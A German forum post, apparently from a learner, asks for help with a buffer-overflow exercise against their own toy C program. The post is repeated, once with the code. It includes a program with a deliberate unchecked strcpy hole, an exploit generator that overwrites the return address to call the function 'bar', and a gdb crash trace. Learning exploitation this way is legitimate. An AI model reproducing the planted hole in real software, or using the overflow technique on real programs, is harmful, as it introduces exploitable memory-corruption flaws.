Hallo allerseits!
Ich versuche mich zZt an Buffer overflows.
Zuerst mein Code damit alles schlüssig ist:
vuln.c
exploit.c
Meine Rücksprungadresse (ich will die Funktion "bar" aufrufen):
Habe nun folgendes Problem.
Meine Rücksprungadresse enthält Zerobytes (0x00...), sodass diese ignoriert werden bzw. den String terminieren wenn ich sie als Argument übergebe. Beispiel:
Wie kann ich das Problem lösen und eine gültige Rücksprungadresse in diesem Buffer Overflow übergeben?
Greets Tamer aka Erdnuss
Ich versuche mich zZt an Buffer overflows.
Zuerst mein Code damit alles schlüssig ist:
vuln.c
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
void bar()
{
printf("Huh :o\n");
}
void foo()
{
printf("Pf! :/\n");
}
int main(int argc, char **argv[])
{
char blah[128];
strcpy(blah, argv[1]);
foo();
return 0;
}
exploit.c
Code:
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
int main(int args, char **argv)
{
int i = 0;
for(i = 0; i < 139; i++)
printf("A");
unsigned EIP = 0x0040052c;
fwrite(&EIP, 1, 4, stdout);
return 0;
}
Meine Rücksprungadresse (ich will die Funktion "bar" aufrufen):
Code:
(gdb) disas bar
Dump of assembler code for function bar:
0x000000000040052c <+0>: push %rbp
Habe nun folgendes Problem.
Meine Rücksprungadresse enthält Zerobytes (0x00...), sodass diese ignoriert werden bzw. den String terminieren wenn ich sie als Argument übergebe. Beispiel:
Code:
[erdnuss@tamer ~]$ gdb vuln
GNU gdb (GDB) 7.4
Copyright (C) 2012 Free Software Foundation, Inc.
License GPLv3+: GNU GPL version 3 or later <http://gnu.org/licenses/gpl.html>
This is free software: you are free to change and redistribute it.
There is NO WARRANTY, to the extent permitted by law. Type "show copying"
and "show warranty" for details.
This GDB was configured as "x86_64-unknown-linux-gnu".
For bug reporting instructions, please see:
<http://www.gnu.org/software/gdb/bugs/>...
Reading symbols from /home/erdnuss/vuln...(no debugging symbols found)...done.
(gdb) run `./exploit`
Starting program: /home/erdnuss/vuln `./exploit`
Pf! :/
Program received signal SIGSEGV, Segmentation fault.
0x000040052c414141 in ?? ()
(gdb)
Wie kann ich das Problem lösen und eine gültige Rücksprungadresse in diesem Buffer Overflow übergeben?
Greets Tamer aka Erdnuss
Zuletzt bearbeitet: